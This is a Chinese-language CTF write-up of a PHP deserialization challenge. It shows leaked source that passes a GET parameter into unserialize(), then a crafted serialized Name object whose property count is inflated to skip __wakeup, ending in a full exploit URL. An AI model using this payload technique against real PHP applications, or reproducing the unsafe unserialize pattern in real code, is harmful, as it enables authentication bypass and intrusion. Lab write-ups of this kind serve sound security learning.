内容比较简单,就不写目录了
第一次深入研究php的反序列化,又开发又研究,卡了一个大bug
大家可以先来看看,开发运行一下php反序列化,顺便踩踩坑
好了,懂开发,踩过坑之后,咱们继续踩坑……
开始答题,题目说有备份,那就用工具或自己写个脚本去扫(主要看字典),拿CTF的字典一顿扫,发现有源码泄露
来看一下最关键的部分,index.php导入了class.php,使用select键来接收值
<?php
include 'class.php';
$select = $_GET['select']; // 接收传参
$res=unserialize(@$select); // 因为导入了class,所以可以直接反序列化
?>
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
// 最直接简单理解就是 username==='admin' && password==100 就能到达这里
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
最简单理解就是放入的变量是 username==='admin' && password==100即可
所以我们自己新建一个序列化文件,自己来反序列化出字符串
class Name{
private $username = 'nonono';
private $password = 'yesyes';
// private $flag = "flag在这里";
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = "guest";
}
public function __destruct(){
if ($this->password != 100){
echo $this->username."<br>";
echo $this->password;
die();
}
if($this->username === 'admin'){
echo "flag在这里";
}
else{
echo "全错";
die();
}
}
}
$obj = new Name("admin",'100'); // 实例化进行调用
正常输入参数后调用,到这里都是没问题的,后面开始踩坑了
首先是打印序列化出来的结果是自带类名的,这个一开始以为是个bug,后来发现flag需要这个,导致我也搞不懂为什么了
然后怕传输过程中出问题,就使用url编码
这里注意一大坑,千万不要使用echo 序列化出来的结果,再拿去手动url编码
你在代码里直接转会自带这种%00,有特殊效果,不知道是截断还是其他效果,反正没有这东西就不通过
所以一定要在代码里面直接通过函数转换
然后这里的难点就是要预判他给的代码跟实际运行代码的区别
这里应该是假的代码,真的代码应该是要长这个样子
所以就需要把序列化出来的字符串改动一下,从2个元素,改成3个元素
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
改成
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
建议用vscode来对照,不然肉眼来看,估计要看瞎你也找不到在哪里改
最终exp
http://bbfba57a-ed9d-4af0-a621-8b440cf65fdb.node4.buuoj.cn:81/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
当然了,我也是看了答案再反推逻辑的,也不知后台服务器是不是真的这样写。